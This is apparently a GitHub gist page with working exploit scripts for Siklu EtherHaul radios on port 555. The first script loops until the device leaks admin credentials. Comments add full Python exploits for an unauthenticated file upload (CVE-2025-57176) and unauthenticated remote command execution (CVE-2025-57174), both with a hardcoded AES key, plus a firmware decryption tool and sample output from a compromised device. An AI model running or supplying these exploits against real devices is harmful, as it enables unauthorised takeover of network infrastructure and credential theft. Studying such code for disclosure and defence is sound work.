Skip to content

Instantly share code, notes, and snippets.

@ianling
Last active September 24, 2025 22:24
Show Gist options
  • Select an option

  • Save ianling/c06636fba1b294393f0d3b7df082aa91 to your computer and use it in GitHub Desktop.

Select an option

Save ianling/c06636fba1b294393f0d3b7df082aa91 to your computer and use it in GitHub Desktop.
Siklu EtherHaul Show Password Exploit
import socket
from time import sleep
address = '192.168.1.11' # the target
port = 555
# set up binary strings to send to the radio
root = bytearray(b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xad\x00\x00\x00\x00\x72\x6f\x6f\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
moinfo = bytearray(b'\x6d\x6f\x2d\x69\x6e\x66\x6f\x20\x73\x79\x73\x74\x65\x6d\x20\x3b\x20\x6e\x74\x70\x20\x3b\x20\x69\x70\x20\x3b\x20\x69\x70\x76\x36\x20\x3b\x20\x65\x74\x68\x20\x3b\x20\x61\x61\x61\x2d\x73\x65\x72\x76\x65\x72\x20\x3b\x20\x61\x61\x61\x20\x3b\x20\x73\x6e\x6d\x70\x2d\x6d\x6e\x67\x20\x3b\x20\x73\x6e\x6d\x70\x2d\x61\x67\x65\x6e\x74\x20\x3b\x20\x73\x79\x73\x6c\x6f\x67\x20\x3b\x20\x72\x6f\x75\x74\x65\x20\x3b\x20\x72\x6f\x75\x74\x65\x36\x20\x3b\x20\x70\x61\x73\x73\x77\x6f\x72\x64\x2d\x73\x74\x72\x65\x6e\x67\x74\x68\x20\x3b\x20\x75\x73\x65\x72\x20\x3b\x20\x61\x72\x70\x20\x3b\x20\x72\x6f\x6c\x6c\x62\x61\x63\x6b\x20\x3b\x20\x6c\x6c\x64\x70\x20\x3b\x20\x6c\x6c\x64\x70\x2d\x72\x65\x6d\x6f\x74\x65\x00')
running = 1
while(running): # run repeatedly until it gives the password
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((address, port))
s.send(root) # send 'root'
s.send(moinfo_long) # send 'mo-info system ; ...'
sleep(4) # wait 4 seconds for a response
data = s.recv(9192)
if 'user admin' not in data: # see if we got user credential in the response
sleep(4) # wait 4 more seconds
data = s.recv(9192)
if 'user admin' not in data: # check again
print "Didn't get user info, closing socket and trying again"
s.close()
continue
print data # print user data
s.close()
running = 0
@semaja22
Copy link

CVE-2025-57176 - Siklu EtherHaul Series - Unauthenticated Arbitrary File Upload

# Exploit Title: CVE-2025-57176 - Siklu EtherHaul Series - Unauthenticated Arbitrary File Upload

#!/usr/bin/env python3
import argparse, socket, struct
from Crypto.Cipher import AES

PORT = 555
HDR_LEN = 0x90
IV0 = struct.pack('<4I', 0xEA703B82, 0x75A9A17B, 0x1DFC7BB9, 0x55A24D72)
KEY = bytes([
    0x89,0xE7,0xFF,0xBE,0xEB,0x2D,0x73,0xF5,
    0xA9,0x10,0xFC,0x42,0x5B,0x1F,0x36,0x17,
    0x9F,0xB9,0x5E,0x75,0x35,0xA3,0x42,0xA0,
    0x5D,0x02,0x48,0xB1,0x19,0xD2,0x4B,0x82
])

def recv_exact(sock: socket.socket, n: int) -> bytes:
    out = bytearray()
    while len(out) < n:
        chunk = sock.recv(n - len(out))
        if not chunk:
            raise ConnectionError('socket closed')
        out += chunk
    return bytes(out)

def pad16_zero(b: bytes) -> bytes:
    r = len(b) & 0x0F
    return b if r == 0 else (b + b'\x00' * (16 - r))

def hdr_checksum(hdr: bytes) -> int:
    return (sum(hdr[0:0x0C]) + sum(hdr[0x10:HDR_LEN])) & 0xFFFFFFFF

def build_header(flag: int, msg: int, payload_len: int, path: bytes) -> bytes:
    hdr = bytearray(HDR_LEN)
    hdr[0] = flag & 0xFF
    hdr[1] = msg & 0xFF
    struct.pack_into('<I', hdr, 0x08, payload_len & 0xFFFFFFFF)
    p = path if path.endswith(b'\x00') else (path + b'\x00')
    max_path = HDR_LEN - 0x10
    hdr[0x10:0x10 + min(len(p), max_path)] = p[:max_path]
    struct.pack_into('<I', hdr, 0x0C, hdr_checksum(hdr))
    return bytes(hdr)

class RFPipeSession:
    def __init__(self, key: bytes, iv0: bytes):
        self.key = key
        self.send_iv = iv0
        self.recv_iv = iv0
    def enc_send(self, sock: socket.socket, data: bytes) -> None:
        cipher = AES.new(self.key, AES.MODE_CBC, iv=self.send_iv)
        ct = cipher.encrypt(data)
        self.send_iv = ct[-16:]
        sock.sendall(ct)
    def dec_recv(self, sock: socket.socket, n_plain: int) -> bytes:
        if n_plain <= 0:
            return b''
        n_padded = (n_plain + 15) & ~15
        ct = recv_exact(sock, n_padded)
        cipher = AES.new(self.key, AES.MODE_CBC, iv=self.recv_iv)
        pt = cipher.decrypt(ct)
        self.recv_iv = ct[-16:]
        return pt[:n_plain]
    def send_header(self, sock: socket.socket, hdr_plain: bytes) -> None:
        if len(hdr_plain) != HDR_LEN:
            raise ValueError('header must be 0x90 bytes')
        self.enc_send(sock, hdr_plain)
    def recv_header(self, sock: socket.socket) -> bytes:
        ct = recv_exact(sock, HDR_LEN)
        cipher = AES.new(self.key, AES.MODE_CBC, iv=self.recv_iv)
        pt = cipher.decrypt(ct)
        self.recv_iv = ct[-16:]
        return pt

def connect_any(host: str, port: int) -> socket.socket:
    infos = socket.getaddrinfo(host, port, socket.AF_UNSPEC, socket.SOCK_STREAM)
    last_err = None
    for fam, st, proto, _, sa in infos:
        s = socket.socket(fam, st, proto)
        try:
            s.connect(sa)
            return s
        except Exception as e:
            last_err = e
            s.close()
    raise ConnectionError(f'connect failed: {last_err}')

def main():
    ap = argparse.ArgumentParser(description='rfpiped file upload client (msg 0x04)')
    ap.add_argument('target', help='IPv4/IPv6 address')
    ap.add_argument('--path', required=True, help='remote path string for header+0x10 (NUL will be appended)')
    ap.add_argument('--file', required=True, help='local file to send as payload')
    ap.add_argument('--recv', action='store_true', help='receive and print server ACK/response')
    args = ap.parse_args()

    with open(args.file, 'rb') as f:
        payload = f.read()
    path_bytes = args.path.encode('utf-8')
    hdr_plain = build_header(flag=0x00, msg=0x04, payload_len=len(payload), path=path_bytes)

    sess = RFPipeSession(KEY, IV0)
    with connect_any(args.target, PORT) as s:
        sess.send_header(s, hdr_plain)
        if payload:
            sess.enc_send(s, pad16_zero(payload))
        if args.recv:
            rh = sess.recv_header(s)
            flag = rh[0]; rmsg = rh[1]
            rlen = struct.unpack_from('<I', rh, 0x08)[0]
            print(f'Response: flag=0x{flag:02x} msg=0x{rmsg:02x} length={rlen}')
            if rmsg in (0x03, 0x05):
                return
            if rlen:
                body = sess.dec_recv(s, rlen)
                if body.endswith(b'\x00'):
                    body = body[:-1]
                try:
                    print(body.decode('utf-8', errors='replace'))
                except Exception:
                    print(body.hex())

if __name__ == '__main__':
    main()

@semaja22
Copy link

Siklu EtherHaul Firmware Decryption

# siklu-sw-decryptor.py
#!/usr/bin/env python3

from Crypto.Cipher import AES
import hashlib
import sys

if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} <encrypted_file> [output_file]")
    sys.exit(1)

print(f"[*] Reading encrypted file: {sys.argv[1]}")
with open(sys.argv[1], 'rb') as f:
    data = f.read()
print(f"[+] File size: {len(data)} bytes")


footer = data[-32:]
encrypted = data[:-32]
print(f"[*] Extracted 32-byte footer")
print(f"    Footer: {footer.hex()}")


if encrypted[:8] != b'Salted__':
    print("[!] Error: Missing OpenSSL salt header")
    sys.exit(1)

salt = encrypted[8:16]
ciphertext = encrypted[16:]
print(f"[+] Found OpenSSL header with salt: {salt.hex()}")

static = bytes([0x08,0x30,0x64,0xd1,0x3a,0xe7,0x44,0xc8,0x94,0x64,0x23,0x01,0x77,0xfb,0x90,0x77])
password = static + footer[:16]
print(f"[*] Building 32-byte password")
print(f"    Static part:  {static.hex()}")
print(f"    Dynamic part: {footer[:16].hex()}")

print(f"[*] Deriving AES-256-CBC key using EVP_BytesToKey")
m1 = hashlib.md5(password + salt).digest()
m2 = hashlib.md5(m1 + password + salt).digest()
m3 = hashlib.md5(m2 + password + salt).digest()

key = m1 + m2  
iv = m3[:16]
print(f"    Key: {key.hex()}")
print(f"    IV:  {iv.hex()}")


if len(ciphertext) % 16 != 0:
    pad_needed = 16 - (len(ciphertext) % 16)
    print(f"[*] Padding ciphertext with {pad_needed} zero bytes")
    ciphertext += b'\x00' * pad_needed


print(f"[*] Decrypting {len(ciphertext)} bytes with AES-256-CBC")
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)


pad = plaintext[-1]
if 1 <= pad <= 16 and all(b == pad for b in plaintext[-pad:]):
    print(f"[*] Removing PKCS7 padding ({pad} bytes)")
    plaintext = plaintext[:-pad]

output_file = sys.argv[2] if len(sys.argv) > 2 else 'siklu-decrypted.bin'
with open(output_file, 'wb') as f:
    f.write(plaintext)

if plaintext[:4] == b'\x27\x05\x19\x56':
    print(f"[*] Successfully decrypted to {output_file}")
    print(f"    Output size: {len(plaintext)} bytes")
    print(f"    Magic: 0x{plaintext[:4].hex().upper()} (U-Boot image)")
else:
    print(f"Decryption failed: 0x{plaintext[:4].hex().upper()}")

@semaja22
Copy link

CVE-2025-57174 - Siklu EtherHaul Series - Unauthenticated Remote Command Execution

# Exploit Title: Siklu EtherHaul Series - Unauthenticated Remote Command Execution

#!/usr/bin/env python3
import argparse, socket, struct
from Crypto.Cipher import AES

PORT = 555
HDR_LEN = 0x90
IV0 = struct.pack('<4I', 0xEA703B82, 0x75A9A17B, 0x1DFC7BB9, 0x55A24D72)
KEY = bytes([
    0x89,0xE7,0xFF,0xBE,0xEB,0x2D,0x73,0xF5,
    0xA9,0x10,0xFC,0x42,0x5B,0x1F,0x36,0x17,
    0x9F,0xB9,0x5E,0x75,0x35,0xA3,0x42,0xA0,
    0x5D,0x02,0x48,0xB1,0x19,0xD2,0x4B,0x82
])

def recv_exact(sock: socket.socket, n: int) -> bytes:
    out = bytearray()
    while len(out) < n:
        chunk = sock.recv(n - len(out))
        if not chunk:
            raise ConnectionError('socket closed')
        out += chunk
    return bytes(out)

def pad16_zero(b: bytes) -> bytes:
    r = len(b) & 0x0F
    return b if r == 0 else (b + b'\x00' * (16 - r))

def hdr_checksum(hdr: bytes) -> int:
    return (sum(hdr[0:0x0C]) + sum(hdr[0x10:HDR_LEN])) & 0xFFFFFFFF

def build_header(flag: int, msg: int, payload_len: int) -> bytes:
    hdr = bytearray(HDR_LEN)
    hdr[0] = flag & 0xFF
    hdr[1] = msg & 0xFF
    struct.pack_into('<I', hdr, 0x08, payload_len & 0xFFFFFFFF)
    struct.pack_into('<I', hdr, 0x0C, hdr_checksum(hdr))
    return bytes(hdr)

class RFPipeSession:
    def __init__(self, key: bytes, iv0: bytes):
        self.key = key
        self.send_iv = iv0
        self.recv_iv = iv0
    def enc_send(self, sock: socket.socket, data: bytes) -> None:
        cipher = AES.new(self.key, AES.MODE_CBC, iv=self.send_iv)
        ct = cipher.encrypt(data)
        self.send_iv = ct[-16:]
        sock.sendall(ct)
    def dec_recv(self, sock: socket.socket, n_plain: int) -> bytes:
        if n_plain <= 0:
            return b''
        n_padded = (n_plain + 15) & ~15
        ct = recv_exact(sock, n_padded)
        cipher = AES.new(self.key, AES.MODE_CBC, iv=self.recv_iv)
        pt = cipher.decrypt(ct)
        self.recv_iv = ct[-16:]
        return pt[:n_plain]
    def send_header(self, sock: socket.socket, hdr_plain: bytes) -> None:
        if len(hdr_plain) != HDR_LEN:
            raise ValueError('header must be 0x90 bytes')
        self.enc_send(sock, hdr_plain)
    def recv_header(self, sock: socket.socket) -> bytes:
        ct = recv_exact(sock, HDR_LEN)
        cipher = AES.new(self.key, AES.MODE_CBC, iv=self.recv_iv)
        pt = cipher.decrypt(ct)
        self.recv_iv = ct[-16:]
        return pt

def connect_any(host: str, port: int) -> socket.socket:
    infos = socket.getaddrinfo(host, port, socket.AF_UNSPEC, socket.SOCK_STREAM)
    last_err = None
    for fam, st, proto, _, sa in infos:
        s = socket.socket(fam, st, proto)
        try:
            s.connect(sa)
            return s
        except Exception as e:
            last_err = e
            s.close()
    raise ConnectionError(f'connect failed: {last_err}')

def main():
    ap = argparse.ArgumentParser(description='rfpiped command client (msg 0x01)')
    ap.add_argument('target', help='IPv4/IPv6 address')
    ap.add_argument('command', help='command string (e.g., "mo-info system")')
    ap.add_argument('--nul', action='store_true', help='append NUL terminator to command')
    ap.add_argument('--recv', action='store_true', help='receive and print response')
    args = ap.parse_args()

    payload = args.command.encode('utf-8')
    if args.nul:
        payload += b'\x00'

    hdr_plain = build_header(flag=0x00, msg=0x01, payload_len=len(payload))
    sess = RFPipeSession(KEY, IV0)
    with connect_any(args.target, PORT) as s:
        sess.send_header(s, hdr_plain)
        if payload:
            sess.enc_send(s, pad16_zero(payload))
        if args.recv:
            rh = sess.recv_header(s)
            flag = rh[0]; rmsg = rh[1]
            rlen = struct.unpack_from('<I', rh, 0x08)[0]
            print(f'Response: flag=0x{flag:02x} msg=0x{rmsg:02x} length={rlen}')
            if rmsg in (0x03, 0x05):
                return
            if rlen:
                body = sess.dec_recv(s, rlen)
                if body.endswith(b'\x00'):
                    body = body[:-1]
                try:
                    print(body.decode('utf-8', errors='replace'))
                except Exception:
                    print(body.hex())

if __name__ == '__main__':
    main()
python3 CVE-2025-57174.py 172.16.100.52 'simple-command show system' --nul --recv
Response: flag=0x00 msg=0x01 length=584
<end-code>ok</end-code><text>
system description               : EH-8010FX-L
system snmpid                    : .1.3.6.1.4.1.31926
system uptime                    : 0028:22:01:51
system contact                   : undefined
system name                      : EH-8010FX-L
system location                  : undefined
system voltage                   : poe (injector)
system temperature               : 47
system date                      : 2025.09.24
system time                      : 14:56:50
system cli-timeout               : 15
system loop-permission           : enabled
</text>

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment